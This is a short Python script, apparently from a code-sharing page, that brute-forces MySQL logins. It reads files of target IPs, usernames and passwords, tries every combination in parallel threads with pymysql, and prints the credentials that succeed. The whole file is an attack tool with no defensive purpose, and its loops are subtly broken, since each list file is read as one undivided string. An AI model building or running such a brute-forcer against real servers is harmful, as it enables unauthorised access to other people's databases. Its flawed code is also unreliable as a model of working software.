brut_dbS.py 1.3 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162
  1. import pymysql
  2. import optparse
  3. import threading
  4. import time
  5. def brut_db(host, log, _pass):
  6. host = host.replace('\n', '')
  7. log = log.replace('\n', '')
  8. _pass = _pass.replace('\n', '')
  9. try:
  10. con = pymysql.connect(host=host,
  11. user=log,
  12. password=_pass)
  13. print('host : {} user : {} pass : {}'.format(host, log, _pass))
  14. except:
  15. time.sleep(0.001)
  16. def brut_ip():
  17. ip_list = []
  18. with open(ip, 'r') as ip_file:
  19. ip_list.append(ip_file.read())
  20. for i in ip_list:
  21. brut_log_pass(i)
  22. def brut_log_pass(host):
  23. log_list = []
  24. pass_list = []
  25. with open(log, 'r') as log_file:
  26. log_list.append(log_file.read())
  27. with open(_pass, 'r') as pass_file:
  28. pass_list.append(pass_file.read())
  29. for l in log_list:
  30. for p in pass_list:
  31. thread = threading.Thread(target=brut_db, args=(host, l, p, ), daemon=True)
  32. thread.start()
  33. pars = optparse.OptionParser()
  34. pars.add_option('-i', '--ip', dest='ip', help='path file ip </home/user/ip.txt>')
  35. pars.add_option('-l', '--login', dest='log', help='path file login </home/user/log.txt>')
  36. pars.add_option('-p', '--pass', dest='_pass', help='path file password </home/user/pass.txt')
  37. (opt, arg) = pars.parse_args()
  38. ip = opt.ip
  39. log = opt.log
  40. _pass = opt._pass
  41. #доработать
  42. if not ip or not log or not _pass:
  43. pars.error('Укажи все ключи')
  44. else:
  45. brut_ip()